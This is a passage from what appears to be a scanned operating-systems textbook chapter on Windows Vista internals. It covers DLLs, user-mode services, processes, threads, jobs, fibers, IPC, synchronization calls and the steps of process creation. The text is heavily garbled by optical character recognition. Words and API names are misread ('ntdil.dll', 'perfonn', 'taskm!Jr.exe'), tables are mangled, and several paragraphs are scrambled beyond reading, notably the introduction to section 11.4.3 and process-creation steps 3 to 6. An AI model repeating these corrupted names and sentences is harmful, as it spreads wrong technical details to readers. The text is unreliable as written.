instances of the devices controlled by those drivers. 

Other objects, not shown, have more specialized purposes, such as interacting 
with kernel transactions, or the Win32 tbreadpool's worker thread factory. 

11,3.4 Subsystems, DLLs, and User-Mode Services 

Going back to Fig. 1 1 -6, we see that the Windows Vista operating system 
consists of components in kernel-mode and components, in user mode. We have 
now completed our overview of the kernel-mode components; so it is time .to look 
at the user-mode components, of which there are three kinds that are partIcularly 
important to Windows: environment subsystems, DLLs, and service proc�sses. 

We have already described the Windows subsystem model; we wIll not go 
into more detail now other than to mention that in the original design of NT, sub
systems were seen as a way of supporting multiple operating system personalities 
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with the same underlying software running in kernel mode. Perhaps this was an 
attempt to avoid having operating systems compete for the same platform, as 
VMS and Berkeley UNIX did on DEC's VAX. Or maybe it was just that nobody 
at Microsoft knew whether OS/2 would be a success as a programming interface, 
so they were hedging their bets. In any case, OS/2 became irrelevant, and a 
latecomer, the Win32 API designed to be shared with Windows 95, became dom
inant. 

A second key aspect of the user-mode design of Windows is the dynamic link 
library (DLL) which is code that is linked to executable programs at run-time 
rather than compile-time. Shared libraries are not a new concept, and most mod
ern operating systems use them. In Windows almost all libraries are DLLs, from 
the system library ntdil.dll that is loaded into every process to the high-level li
braries of common functions that· are intended to allow rampant code-reuse by ap
plication developers. 

DLLs improve the efficiency of the system by allowing common code to be 
shared among processes, reduce program load times from disk by keeping com
monly used code around in memory, and increase the serviceability of the system 
by allowing operating system library code to be updated without having to recom
pile or relink all the application programs that use it. 

On the other hand, shared libraries introduce the problem of versioning and 
increase the complexity of the system because changes introduced into a snared li
brary to help one particular program have the potential of exposing latent bugs in 
other applications, or just breaking them due to changes in the implementation-a 
problem that in the Windows world is referred to as DLL hell. 

The implementation of DLLs is simple in concept. Instead of the compiler 
emitting code that calls directly to subroutines in the same executable image, a 
level of indirection is introduced: the !AT (Import Address Table). When an 
executable is loaded it is searched for the list of DLLs that must also be loaded 
(this will be a graph in general, as the listed DLLs will themselves will generally 
list other DLLs needed in order to run). The required DLLs are loaded and the 
IAT is filled in for them a11. 

The reality is more complicated. Another problem is that the graphs that rep
resent the relationships between DLLs can contain cycles, or have nondeterminis
tic behaviors, so computing the list of DLLs to load can result in a sequence that 
does not work. Also, in Windows the DLL libraries are given a chance to run 
code whenever they are loaded into a process, or when a new thread is created. 
Generally, this is so they can perform initialization, or allocate per-thread storage, 
but many DLLs perform a lot of computation in these attach routines. If any of 
the functions called in an attach routine needs to examine the list of loaded DLLs, 
a deadlock can occur hanging the process. 

DLLs are used for more than just sharing common code. They enable a hostN 
ing model for extending applications. Internet Explorer can download and link to 
DLLs called ActiveX controls. At the other end of the Internet, Web servers also 
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load dynamic code to produce a better Web experience for the pages they display. 
Applications like Microsoft Office link and run DLLs to allo� Office to be used 
as a platform for building other applications. The COM (component object 
model) style of programming allows programs to dynamically find and load code 
written to provide a particular published interface, which leads to in-process host
ing of DLLs by almost all the applications that use COM. 

All this dynamic loading of code has resulted in even greater complexity for 
the operating system, as library version management is not just a matter of match
ing executables to the right versions of the DLLs, but sometimes loading multiple 
versions of the same DLL into a process--'-which Microsoft calls side�by�side. A 
single program can host two different dynamic code libraries, each of which may 
want to load the same Windows library-yet have different version requirements 
for that library. 

A better solution would be hosting code in separate processes. But out-of
process hosting of code results has lower performance, and makes for a more 
complicated programming model in many cases. Microsoft has yet to develop a 
good solution for all of this complexity in user mode. It makes one yearn for the 
relative simplicity of kernel mode. 

One of the reasons that kernel mode has less complexity than user mode is 
that it supports relatively few extensibility opportunities outside of the device 
driver model. In Windows, system functionality is extended by writing user-mode 
services. This worked well enough for subsystems, and works even better when 
only a few new services are being provided rather than a complete operating sys
tem personality. There are relatively few functional differences between services 
implemented in the kernel and services implemented in user-mode processes. 
Both the kernel and process provide private address spaces where data structures 
can be protected and service requests can be scrutinized. 

However, there can be significant performance differences between services 
in the kernel versus services in user-mode processes. Entering the kernel from 
user-mode is slow on modern hardware, but not as slow as having to do it twice 
because you are switching back and forth to another process. Also cross-process 
communication has lower bandwidth. 

Kernel-mode code can (very carefully) access data at the user-mode addresses 
passed as parameters to its system calls. With user-mode services, that data must 
either be copied to the service process, or some games played by mapping memo
ry back and forth (the ALPC facilities in Windows Vista handle this under the 
covers). 

In the future it is possible that the hardware costs of crossing between address 
spaces and protection modes will be reduced, or perhaps even become irrelevant. 
The Singularity project in Microsoft Research (Fandrich, et a1., 2006) uses run
time techniques, like those used with C# and Java, to make protection a com
pletely software issue. No hardware switching between address spaces or protec
tion modes is required. 

SEC. 1 1.3 SYSTEM STRUCTURE 857 

Windows Vista makes significant use of user-mode service processes to extend the f?nctionality of the system. Some of these services are strongly tied to the operation of kernel-mode components, such as lsass.exe which is the local securit� aut?entication service which manages the token objects that represent user-IdentIty, as wen as managing encryption keys used by the file system. The user-mode plug-and-play manager is responsible for determining the correct driver to use when a new hardware device is encountered, installing it, and telling the k:�el t� load it Many facilities provided by third p31ties, such as antivirus and dIgItal nghts management, are implemented as a combination of kernel-mode drivers and user-mode services. 
In Windows Vist

.a taskm!Jr.exe has a tab which identifies the services running on the system. (Earher verSIOns of Windows will show a list of services with the net start command). Multiple ser:vices can be seen to be running in the same process (svchost.exe). Windows does this for many of its own boot-time services to reduce the time needed to start up the system. Services can be combined into the same process as long as they can safely operate with the same security credentials. 
Within each of the shared service processes, individual services are loaded as DLLs. They norm�ll� share a pool of threads using the Win32 threadpool facility, so that only the IDlmmal number of threads needs to be running across all the resident services. 
Services are common sources of security vulnerabilities In the system because they are often accessible remotely (depending on the TCPIIP firewall and IP Security settings), .and not all programmers who write services are as careful as they should be to valIdate the parameters and buffers that are passed in via RPC. 
The number .of services running constantly in Windows is staggering. Yet few of those serVIces ever receive a single request, though if they do it is likely to be from an attacker attempting to exploit a vulnerability, As a result mOre and m�re services in Windows are turned off by default, particularly on versions of Wmdows Server. 

11.4 PROCESSES AND THREADS IN WINDOWS VISTA 

Windows has a number of concepts for managing the CPU and grouping re
SOUrces together. In the following sections we will examine these, discussing 
some of the relevant Win32 API calls, and show how they are implemented. 

11.4.1 Fundamental Concepts 

In Windows Vista processes are containers for programs. They hold the virtu
al �ddress space, the handles that refer to kernel-mode objects, and threads. In 
theIr role as a container for threads they hold CommOn resources used for thread 
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execution such as the pointer to the quota structure, the shared token object, and 
default p�rameters used to initialize threads-including the priority and schedul
ino class. Each process has user-mode system data, called the PEB (Process 
E�vironment Block). The PEB includes the list of loaded modules (i.e., the EXE 
and DLLs), the memory containing environment strings, the current worI?ng di
rectory, and data for managing the process' heaps-as well as lots of specIal-case 
Win32 eruft that has been added over time. 

Threads are the kernel's abstraction for scheduling the CPU in Windows. 
Priorities are assigned to each thread based on the priority val�e in the containin

.
g 

process. Threads can also be affinitized to only run on certam �r�)Cessors. ThIs 
helps concurrent programs running on multiprocessors to exp�lcltl� spread out 
work. Each thread has two separate call stacks, one for execution III user mode 
and one for kernel mode. There is also a TEB (Thread Environment Block) 
that keeps user-mode data specific to the thread, including per-thread 

.
sto�age 

(Thread Local Storage) and fields for Win32, languag� and c�l�u.ral localIzatIOn, 
and other specialized fields that have been added by vanous factlltles. 

Besides the PEBs and TEBs, there is another data structure that kernel mode 
shares with each process, namely, user shared data. This is a page t�at is writ
able by the kernel, but read-only in every user-mode .process. It con�aIlls a nu

.
m

ber of values maintained by the kernel, such as vanouS forms of time, verSIOn 
information, amount of physical memory, and a large number of shared flags used 
by various user-mode components, such as COM, terminal services, and t?e .de
buggers. The use of this read-only shared page is purely a �erfonnance optlmt:�a
tion, as the values could also be obtained by a system call mto kernel mode. But 
system calls are much more expensive than a single memory access, so for some 
system-maintained fields, such as the time, this makes a lot of sense. The

, 
other 

fields, such as the current time zone, change infrequently, but code that relIes on 
these fields must query them often just to see if they have changed. 

Processes 

Processes are created from section objects, each of which describes a memory 
object backed by a file on disk. When a process is created, the creating process 
receives a handle for the process that allows it to modify the new process by map
ping sections, allocating virtual memory, writing parameters . and environme?t�l 
data, duplicating file descriptors into its handle table, and creatmg threads: ThIS IS 
very different than how processes are created in UNIX and re�ects the difference 
in the taraet systems for the original designs of UNIX versus Wmdows. 

As d;scribed in Sec. 1 1 . 1, UNIX was designed for l6-bit single processor sys
temS that used swapping to share memory among processes. In such systems, 
having the process as the unit of concurrency and using an ope:ation like fork to 
create processes waS a brilliant idea. To run a new process With small memory 
and no virtual memory hardware, processes in memory have to be swapped out to 
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disk to create space. UNIX Originally implemented fork simply by swapping out 
the parent process and handing its physical memory to the child. The operation 
was almost free. 

In contrast, the hardware environment at the time Cutler's team wrote NT was 
32-bit multiprocessor systems with virtual memory hardware to share 1-16 MB of 
physical memory. Multiprocessors provide the opportunity to run parts of pro
grams concurrently, so NT used processes as containers for sharing memory and 
object resources, and used threads as the unit of concurrency for scheduling. 

Of course, the systems of the next few years will look nothing like either of 
these target environments, having 64-bit address spaces with dozens (or hundreds) 
of CPU cores per chip socket, and multiple GB of physical memory-as well as 
flash devices and other nonvolatile stores added to the memory hierarchy, broader 
support for virtualization. Ubiquitous networking, and support for synchronization 
innovations like transactional memory. Windows and UNIX will continue to be 
adapted to new hardware realities, but what will be really interesting is to see 
what new operating systems are designed specifically for systems based on these 
advances. 

Jobs and Fibers 

Windows can group processes together into jobs, but the job abstraction is not 
very general. It was specifically deSigned for grouping processes in order to apply 
constraints to the threads they contain, such as limiting resource use via a shared 
quota or enforcing a restricted token that prevents threads from accessing many 
system objects. The most significant property of jobs for resource management is 
that once a process is in a job, all processes threads in those processes create will 
also be in the job. There is no escape. As suggested by the name, jobs were de
signed for situations that are more like batch processing than ordinary interactive 
computing. 

A Process can be in (at most). one job. This makes sense, as what it would 
mean for a process to be subject to multiple shared quotas or restricted tokens is 
hard to define. But this means that if multiple services in the system attempt to 
use jobs to manage processes, there will be conflicts if they attempt to manage the 
same processes. For example, an administrative tool which sought to constrain 
resource use by putting processes into jobs would be foiled if the process first 
inserted itself into its own job, or if a security tool had already put the process into 
a job with a restricted token to limit its access to system objects. As a result the 
use of jobs within Windows is rare. 

Fig. 1 1-24 shows the relationship between jobs, processes, threads, and fibers. 
Jobs contain processes. Processes contain threads. But threads do not contain 
fibers. The relationship of threads to fibers is nonnally many-to-many. 

Fibers are created by allocating a stack and a user-mode fiber data structure 
for storing registers and data associated with the fiber. Threads are converted to 
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Figure 11�24. The relationship between jobs, processes, threads and fibers. 
Jobs and fibers are optional; not all processes are in jobs or contain fibers. 

fibers, but fibers can also be created independently of threads. Such fibers will 
not run until a fiber already running on a thread explicitly calls SwltchToFiber to 
run the fiber. Threads could attempt to switch to the a fiber that is already run
ning, so the programmer must provide synchronization to prevent this. 

The primary advantage of fibers is that the overhead of switching between 
fibers is much, much lower than switching between threads. A thread switch re
quires entering and exiting the kerneL A fiber switch saves and restores a few 
registers without changing modes at alL 

Although fibers are cooperatively scheduled, if there are multiple threads 
scheduling the fibers, a lot of careful synchronization is required to make sure fi
bers do not interfere with each other. To simplify the interaction between threads 
and fibers, it is often useful to create only as many threads as there are processors 
to run them, and affinitize the threads to each run only on a distinct set of avail� 
able processors, or even just one processor. 

Each thread can then run a particular subset of the fibers, establishing a one� 
to�many relationship between threads and fibers which simplifies synchronization. 
Even so there are still many difficulties with fibers. Most Win32 libraries are 
completely unaware of fibers, and applications that attempt to use fibers as if they 
were threads will encounter various failures. The kernel has no knowledge of fi
bers, and when a fiber enters the kernel, the thread it is executing on may block 
and the kernel will schedule an arbitrary thread on the processor, making it 
unavailable to run other fibers. For these reasons fibers are rarely used except 
when porting code from other systems that explicitly need the functionality pro� 
vided by fibers. A summary of these abstractions is given in Fig. 1 1-25. 

Threads 

Every process normally starts out with one thread, but new ones can be creat
ed dynamically. Threads form the basis of CPU scheduling, as the operating sys
tem always selects a thread to run, not a process. Consequently, every thread has 
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-j-:c-::-c:--c ___ D�e�s,-c,-r2i P,-t,-io,-n Notes 
Job Collection of processes that share quotas and limits Rarely used 

Process Container for holding resources 
_______ 

+ 
____ 

-i 
Thread Entity scheduled by the kernel 

Fiber Lightweight thread managed entirely in user space Rarely used 

Figure 11·25. Basic concepts used for CPU and resource management. 
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a state (ready, running, blocked, etc), whereas processes do not have scheduling 
states. Threads can be created dynamically by a Win32 call that specifies the ad� 
dress within the enclosing process' .address space it is to start running at. 

Every thread has a thread ID, which is taken from the same space as the proc
ess IDs, so a single ID can never be in use for both a process and a thread at the 
same time. Process and thread IDs are multiples of four because they are actually 
allocated by the executive using a special handle table set aside for allocating IDs. 
The system is reusing the scalable handle management facility shown in Figs. 1 1-
18 and 1 1 -19. The handle table does not have references on objects, but does use 
the pointer field to point at the process or thread so that the lookup of a process or 
thread by ID is very efficient. BFO ordering of the list of free handles is fumed 
on for the ID table in recent versions of Windows so that IDs are not immediately 
reused. The problems with immediate reuse are explored in the problems at the 
end of this chapter. 

A thread normally runs in user mode, but when it makes a system call it 
switches to kernel mode and continues to run as the same thread with the same 
properties and limits it had in user mode. Each thread has two stacks, one for use 
when it is in user�mode and one for use when it is in kernel mode. Whenever a 
thread enters the kernel, it switches to the kernel�mode stack. The values of the 
user�mode registers are saved in a CONTEXT data structure at the base of the 
kernel-mode stack. Since the only way for a user-mode thread to not be running 
is for it to enter the kernel, the CONTEXT for a thread always contains its register 
state when it is not running. The CONTEXT for each thread can be examined and 
modified from any process with a handle to the thread. 

Threads normally run using the access token of their containing process, but 
in certain cases related to client/server computing, a thread running in a service 
process can impersonate its client, using a temporaty access token based on the 
client's token so it can perfonn operations on the client's behalf: _ (In general a 
service cannot use the client's actual token, as the client and server may be run
ning on different systems.) 

Threads are also the normal focal point for I/O. Threads block when per
forming synchronous I/O, and the outstanding I/O request packets for asynchro
nous I/O are linked to the thread. When a thread is finished executing, it can exit. 
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Any I/O requests pending for the thread will be canceled. When the last thread 

still active in a process exits, the process terminates. 
It is important to realize that threads are a scheduling c?ncept, not a resour�e 

ownership concept. Any thread is able to access all the objects that b�long t? Its 

process. All it has to do is use the handle value and make the appr�pnate Wm32 

call. There is no restriction on a thread that it cannot access an object because a 

different thread created or opened it. The system does not even keep
, 

track of 

which thread created which object. Once an object handle has been put m a 1?fOc

ess' handle table, any thread in the process can use it, even it if is impersonatmg a 

different user. . . 
As described previously, in addition to the normal threads that :un withm user 

processes Windows has a number of system threads that run only m kernel �ode 

and are not associated with any user process. An such system threads run m a 

special process called the system process. This process does not have. a user

mode address space. It provides the environment that threads execute �n when 

they are not operating on behalf of a specific user-mode process. We WIll study 

some of these threads later when we come to memory management. Some per

form administrative tasks, such as writing dirty pages to the disk, while others 

form the pool of worker threads that are assigned to run specific short-term tas�s 

delegated by executive components or drivers that need to get some work done III 

the system process. 

11.4.2 Job, Process, Thread, and Fiber Management API Calls 

New processes are created using the Win32 API function CreateProcess. 

This function has many parameters and lots of options. It takes the name of the 

file to be executed, the command-line strings (unparsed), and a pointer to the en

vironment strings. There are also flags and values that control many details such 

as how security is configured for the process and first thread, debugger con�gura

tion, and scheduling priorities. A flag also specifies whether open handles m the 

creator are to be passed to the new process. The function also takes th� c�rrent 

working directory for the new process and an optional data structure w.lth �nfor

mation about the GUI Window the process is to use. Rather than returnmg Just a 

process ID for the new process, Win32 returns both handles and IDs, both for the 

new process and for its initial thread. . 
The large number of parameters reveals a number of dIfferences from the de-

sign of process creation in UNIX. 

1. The actual search path for finding the program to execute is buried in 
the library code for Win32, but managed more explicitly in UNIX. 

2. The current working directory is a kernel-mode concept in UNIX but 
a user-mode string in Windows. Windows .ties open a handle on the 
current directory for each process, with th�ame annoying effect as 
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in UNIX: You cannot delete the directory, unless it happens to be a
cross the network, in which case you can delete it. 

3. UNIX parses the command line and passes an array of parameters, 
while Win32 leaves argument parsing up to the individual program. 
As a consc:quence, different programs may handle wildcards (e.g., 
*.txt) and other special symbols in an inconsistent way. 

4. Whether file descriptors can be inherited in UNIX is a property of the 
handle. In Windows it is a property of both the handle and a parame
ter to process creation. 

5. Win32 is GUI-oriented, so new processes are directly passed infor
mation about their pril)1ary window, while this information is passed 
as parameters to GUI applications in UNIX. 

6. Windows does not have a SETUID bit as a property of the ex
ecutable, but one process can create a process that runs as a different 
user, as long as it can obtain a token with that user's credentials. 

7. The process and thread handle returned from Windows can be used 
to modify the new process/thread in many substantive ways, includ
ing duplication of handles and setting up the environment variables 
in the new process. UNIX just makes modifications to the new proc
ess between the fork and exec calls. 

Some of these differences are historical and philosophicaL UNIX was de
signed to be command-line-oriented rather than GUI-oriented like Windows. 
UNIX users are more sophisticated, and understand concepts like PATH variables. 
Windows Vista inherited a lot of legacy from MS-DOS. 

The comparison is also skewed because Win32 is a user-mode wrapper 
around the native NT process execution, much as the system library function 
wraps fork/exec in UNIX. The actual NT system calls for creating processes and 
threads, NtCreateProcess and NtCreateThread, are much simpler than the Win32 
versions. The main parameters to NT process creation are a handle on a section 
representing the program file to run, a flag specifying whether the new process 
should, by default, inherit handles from the cre-ator, and parameters related to the 
security modeL All the details of setting up the environment strings, and creating 
the initial thread, are left to user-mode code that can use the handle on the new 
process to manipulate its virtual address space directly. 

To support the POSIX subsystem, native process creation has an option to 
create a new process by copying the virtual address space of another process rath
er than mapping a section object for a new program. This is only used to imple
ment fork for POSIX, and not by Win32. 

Thread creation passes the CPU context to use for the new thread (which in
cludes the stack pointer and initial instruction pointer), a template for the TEB, 
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and a flag saying whether the thread should be immediately run or created in a 
suspended state (waiting for somebody to call NtResumeThread on its ?andle). 
Creation of the user-mode stack and pushing of the argv/argc parameters IS left to 
user-mode code calling the native NT memory management APIs on the process 
handle. 

In the Windows Vista release, a new native API for processes was included 
which moves many of the user-mode steps into the kernel-mode executive, and 
combines process creation with creation of the initial thread. The reason for the 
change was to support the use of processes as security boundaries. Normally, all 
processes created by a user are considered to be equally trusted. It is the user, as 
represented by a token, that determines where the trust boundary is. This chan�e 
in Windows Vista allows processes to also provide trust boundaries, but thIS 
means that the creating process does not have sufficient rights regarding a new 
process handle to implement the details of process creation in user mode. 

Interprocess Communication 

Threads can communicate in a wide variety of ways, including pipes, named 
pipes, mailslots, sockets, remote procedure cans, and shared files. Pipes have two 
modes: byte and message, selected at creation time. Byte-mode pipes work the 
same way as in UNIX. Message-mode pipes are somewhat similar but preserve 
message boundaries, so that four writes of 128 bytes will be read as four 128-byte 
messages, and not as one 512-byte message, as might happen with byte-n:ode 
pipes. Named pipes also exist and have the same two modes as regular pipes. 
Named pipes can also be used over a network but regular pipes cannot. 

MaiJslots are a feature of the OS/2 operating system implemented in Win
dows for compatibility. They are similar to pipes in some ways, but not all. For 
one thing, they are one way, whereas pipes are two way. They could be used over 
a network but do not provide guaranteed delivery. Finally, they allow the sending 
process to broadcast a message to many receivers, instead of to just one receiver. 
Both mailslots and named pipes are implemented as file systems in Windows, 
rather than executive functions. This allows them to be accessed over the network 
using the existing remote file system protocols. 

. Sockets are like pipes, except that they normally connect processes on dIf
ferent machines. For example, one process writes to a socket and another one on 
a remote machine reads from it. Sockets can also be used to connect processes on 
the same machine, but since they entail more overhead than pipes, they are gener
ally only used in a networking context. Sockets were originally designed for 
Berkeley UNIX, and the implementation was made widely available. Some of the 
Berkeley code and data structures are still present in Windows today, as acknow
ledged in the release notes for the system. 

RPCs (remote procedure calls) are a way for process A to have process B call 
a procedure in B's address space on A's behalf and return the result to A. Various 
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restrictions On the parameters exist. For example, it makes no sense to pass a 
p�inter

. 
to a different proces

.
s, so data structures have to be packaged up and trans

I�lltted m a nonprocess speCIfic way. RPC is nonnally implemented as an abstrac
tIOn layer on top of a transport layer. In the case of Windows, the transport can be 
TCP/IP sockets, named pipes, or ALPC. ALPC (Advanced Local Procedure Call) 
IS a mes�ag�-passmg faCIlIty III the kernel-mode executive. It is optimized for 
commumcatmg between processes on the local machine and does not operate a

:ross the n�twork .
. 

The �asic desi?ll is for sending messages that generate replies, 
Implementmg a llghtweight verSIOn of remote procedure call which the RPC 
package can build On top of to provide a richer set of features than available in 
ALPC. ALPC is

. 
implemented using a combination of copying parameters and 

temp�rary allocatIon of shared memory, based on the size of the messages. 
Fmally, 

'
processes

. 
can share objects. This includes section objects, which can 

be ma�ped mto the virtual address space of different processes at the same time. 
All wntes done by one process then appear in the address spaces of the other 
processes. Using this mechanism, the shared buffer used in producer-consumer 
problems can easily be implemented. 

Synchronization 

Processes can also use various types of synchronization objects. Just as Win
dow� Vista provides numerous inter-process communication mechanisms, it also 
pr?:ldes n�merous synchronization mechanisms, including semaphores, mutexes, 
cntlcal regIOns, and events. All of these mechanisms work with threads, not proc

�ses, so that when a thread blocks on a semaphore, other threads in that process 
(If any) are not affected and can continue to run. 

A semaphore is created using the CreateSemaphore Win32 API function 
which can initialize it to a given value and define a maximum value as wen: 
Semaphores are kernel-mode objects and thus have security descriptors and hand
les. The handle for a semaphore can be duplicated using DuplicateHandle and 
passed to another process so that mUltiple processes can synchronize on the same 
semaphore. A semaphore c�n also be given a name in the Win32 namespace, and 
have an ACL set to protect It. Sometimes sharing a semaphore by name is mOre 
appropriate than duplicating the handle. 

Calls for up and down exist, although they have the somewhat odd names of 
�elease�ema�hore (�p) an� WaitForSingleObject (down). It is also possible to 
gIVe W3ltForSmgleObject a tImeout, so the calling thread can be-released eventu
ally: eve� if the

. 
semaphore

. 
remains at 0 (although timers reintroduce races). 

WaltForSlngleObject and WaltForMultipleObjects are the common interfaces used 
for waiting on the dispatcher objects discussed in Sec. 1 1.3. While it would have 
been possible to wrap the single-object version of these APIs in a wrapper with a 
somewhat more semaphore-friendly name, many threads use the multiple-object 
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version which may include waiting for multiple flavors of synchronization objects 

as well as other events like process or thread termination, I/O completion, and 

messages being available on sockets and ports. 

Mutexes are also kernel-mode objects used for synchronization, but simpler 

than semaphores because they do not have counters. They are essentially locks, 

with API functions for locking WaitForSingleObject and unlocking Release

Mutex. Like semaphore handles, mutex handles can be duplicated and passed be

tween processes so that threads in different processes can access the same mutex. 

A third synchronization mechanism is called critical sections, which imple

ment the concept of critical regions. These are similar to mutexes in Windows, 

except local to the address space of the creating thread. Because critical sections 

are not kernel-mode objects, they do not have explicit handles or security descrip

tors and cannot be passed between processes. Locking and unlocking are done 

with EnterCriticalSection and LeaveCriticalSection, respectively. Because these 

API functions are perfonned initially in user space and only make kernel calls 

when blocking is needed, they are much faster than mutexes. Critical sections are 

optimized to combine spin locks (on multiprocessors) with the use of kernel syn

chronization only when necessary. In many applications most critical sections are 

so rarely contended or have such short hold times that it is never necessary to allo

cate a kernel synchronization object. This results in a very significant savings in 

kernel memory. 
The last synchronization mechanism we discuSS uses kernel-mode objects 

called events. As we have described previously, there are two kinds: notification 

events and synchronization events. An event can be in one of two states: sig

naled or not-signaled. A thread can wait for an event to be signaled with 

WaitForSingleObjecL If another thread signals an event with SetEvent, what hap

pens depends on the type of event. With a notification event, all waiting threads 

are released and the event stays set until manually cleared with ResetEvent. With 

a synchronization event, if one or more threads are waiting, exactly one thread is 

released and the event is cleared. An alternative operation is pulseEvent, which 

is like SetEvent except that if nobody is waiting, the pulse is lost and the event is 

cleared. In contrast, a SetEvent that occurs with no waiting threads is remem

bered by leaving the event in the signaled state so a subsequent thread that calls a 

wait API for the event will not actually wait. 

The number of Win32 API cans dealing with processes, threads, and fibers is 

nearly 100, a substantial number of which deal with IPC in one form or another. 

A summary of the ones discussed above as well as some other important ones is 

given in Fig. 1 1-26. 
Note that not all of these are just system calls. While some are wrappers, oth-

ers contain significant library code which maps the Win32 semantics onto the 

native NT APls. Still others, like the fiber APIs, are purely user-mode functions 

since, as we mentioned earlier, kernel mode in Windows Vista knows nothing 

about fibers. The are entirely implemented by user-mode libraries. 
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Win32 API Function Description 

CreateProcess Create a new prOcess 

CreateThread Create a new thread in an existing process 
CreateFfber Create a new fiber 

ExitProcess Terminate current process and all its threads 
ExitThread Terminate this thread 

ExitFiber Terminate this fiber 

SwitchToFlber Run a different fiber on the current thread 

SetPriorityC!ass Set the priority class for a process 

SetThreadPriority Set the priority for one thread 

CreateSemaphore Create a new semaphore 
CreateMutex Create a new mutex 

OpenSemaphore Open an existing semaphore 

OpenMutex Open an existing mutex 

WaitForSingleObject Block on a single semaphore, mutex, etc. 

, WaitForMuftip!eObjects Block on a set of objects whose handles are given 
PulseEvent Set an event to signaled then to nonsignaled 

ReleaseMutex Release a mutex to allow another thread to acquire it 
Re!easeSemaphore Increase the semaphore count by 1 

EnterCriticalSection Acquire the lock on a critical section 

LeaveCrit!ca!Section Release the lock on a critical section 

Figure 11-26. Some of the Win32 calls for managing processes, threads, and fibers. 

11.4.3 Implementation of Processes and Threads 

In this secti�n
. :v

e will get into more detail about how Windows creates a 
proce�s (and the mltIal thread). Because Win32 is the most documented ' t f 
we Will start th�re. But we

. 
will quickly work our way down ioto the k��n::;' :�� 

understand the ImplementatIon of the native API call for creating a ne ��� �e
a
many more specific details that we will gloss over here, SU�h

P:�c:�: 
. 
1 nd 

.
W<?W64 h��e speCIal code in the creation path, or how the s stem 

supplIes apphcatIon-speclfIc fix-ups to get around small incompau'b'I't' 
y 

d 
latent b s '  I" 

1 1 les an 
ug III app IcatIOns. We will focus on the main code paths that et exe-��

I
t�d when�ver processes are created, as well as look at a few of the det;ils that 1 In gaps m what we have covered so far. 

ca 
A pr?cess i� created when another process makes the Wi032 CreateProcess 

II. T�lS call Illvokes a (user-mode) procedure in kernel32.dll that creates the 
process In several steps using mUltiple system calls and by perfonning other work. 
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Convert the executable file name given as a paramet�r from a Win32 1 . athname to an NT pathname. If the execut�ble JUs� has � n�e 
�vithout a directory pathname, it is searched for III the dlrec�o�es lIst
ed in the default directories (which include, but are not lImIted to, 
those in the PATH variable in the environment). 

2. Bundle up the process creation parameters and pass them, al�ng with 
the full pathname of the executable progra�, to . the nat1v� API 
NtCreateUserProcess. (This API was added m WI�dows VIsta so 
that the details of process creation could be handled m kern�l mode, 
allowing processes to be used as a trust boundary. The preVIOUS na
tive APls described above still exist, but are no longer used by the 
Win32 CreateProcess call.) 

3. Running in kernel-mode, NtCreateuserproce
d
ss processes 

�
?e p

�
�
:� eters, and then opens the program image an creates a se; I�n 0 j 

that can be used to map the program into the new process vIrtual ad-
dress space. 

4. The process manager allocates and initializes the
h
P
th
roce

k
ss Ob

l
�ect

d
(
�

e 
kernel data structure representing a process to bot e erne an e -
ecutive layers). 

5. The memory manager creates the addre�s spa�e for 
d
the

th
ne� 

!
r
�
c
:�

s 
by allocating and initializing the page dlrectones an . e v: ua . -
dress descriptors which describe the kernel-mode portIOn, m�ludmg 
the process-specific regions, such as the self-map page dlfect?ry 
entry that gives each process kernel-mod.

e access to the phYSIC�1 
pages in its entire page table using

.
k�rnel Virtual addresses. (We wIll 

describe the self-map in more detaIl m Sec. 1 1 .5.) 
A handle table is created for the new process, and a�l the �and.les 6

, from the caUer that are allowed to be inherited are duplicated mto It. 
7. The shared user page is mapped, and the memory manager initiali�es 

the working-set data structures used for deciding wh�t pages to tnm 
from a process when physical memory is low. The pIeces of.the ex
ecutable image represented by the section object are mapped mto the 
new process' user-mode address space. 
The executive creates and initializes the user-mode Process Environ-8. 
ment Block (PEB) which is used by both user-mode and the kernel to 
maintain process-wide state information, such as the user-mode heap 
pointers and the list of loaded libraries (DLLs). 

9. Virtual memory is allocated in the new process, and used
d 

t
l
� pass pa

rameters, including the environment strings and cornman me. 
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10. A process ID is allocated from the special handle table (ID table) the 
kernel maintains for efficiently allocating locally unique IDs for 
processes and threads. 

1 1 . A thread object is allocated and initialized. A user-mode stack is al
located along with the Thread Environment Block (TEB). The CON
TEXT record which contains the thread's initial values for the CPU 
registers (including the instruction and stack pointers), is initialized. 

12. The process object is added to the global list of processes, Handles 
for the process and thread objects are allocated in the caller's handle 
table. An ID for the initial thread is allocated from the ID table. 

13. NtCreateUserProcess returns to user-mode with the new process 
created, containing a single thread that is ready to run but suspended. 

14. If the NT API fails, the Win32 code checks to see if this might be a 
process belonging to another subsystem like WOW64. Or perhaps 
the program is marked that it should be run under the debugger. 
These special cases are handled with special code in the user-mode 
CreateProcess code. 

15. If NtCreateUserProcess was successful, there is still some work to 
be done. Win32 processes have to be registered with the Win32 
subsystem process, csrss.exe. Kemel32.dl! sends a message to csrss 
telling it about the new process along with the process and thread 
handles so it can duplicate itself. The process and threads are enter
ed into the subsystems' tables so that they have a complete list of all 
Win32 processes and threads. The subsystem then displays a cursor 
containing a pointer with an hourglass to tell the user that something 
is going on but that the cursor can be used in the meanwhile. When 
the process makes its fIrst Gill call, usually to create a window, the 
cursor is removed (it times out after 2 seconds if no call is forthcom
ing). 

16. If the process is restricted, such as low-rights Internet Explorer, the 
token is modified to restrict what objects the new process can access. 

17. If the application program was marked as needing to be shimmed to 
run compatibly with the current version of Windows, the specified 
shims are applied, (Shims usually wrap library cans to .slightly modi
fy their behavior, such as returning a fake version number or delay
ing the freeing of memory). 

18. Finally, call NtResumeThread to unsuspend the thread, and return 
the structure to the caller containing the IDs and handles for the 
process and thread that were just created. 

869 
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Scheduling 

The Windows kernel does not have any central scheduling thread. Instead, 
when a thread cannot run any more, the thread enters kernel-mode and calls into 
the scheduler itself to see which thread to switch to. The following conditions 
cause the currently running thread to execute the scheduler code: 

1 .  The currently running thread blocks on a semaphore, mutex, event, 
lIO, etc. 

2. The thread signals an object (e.g., does an up on a semaphore or 
causes an event to be signaled). 

3. The quantum expires. 

In case 1 ,  the thread is already running in kernel-mode to carry out the operation 

on the dispatcher or I/O object It cannot possibly continue, so it calls the sched

uler code to pick its successor and load that thread's CONTEXT record to resume 

running it. 
In case 2, the running thread is in the kernel, too. However, after signaling 

some object, it can definitely continue because signaling an object never blocks. 

Still, the thread is required to call the scheduler to see if the result of its action has 

released a thread with a higher scheduling priority that is now ready to run. If so, 

a thread switch occurs since Windows is fully preemptive (i.e., thread switches 

can occur at any moment, not just at the end of the current thread's quantum). 

However, in the case of a multiprocessor, a thread that was made ready may be 

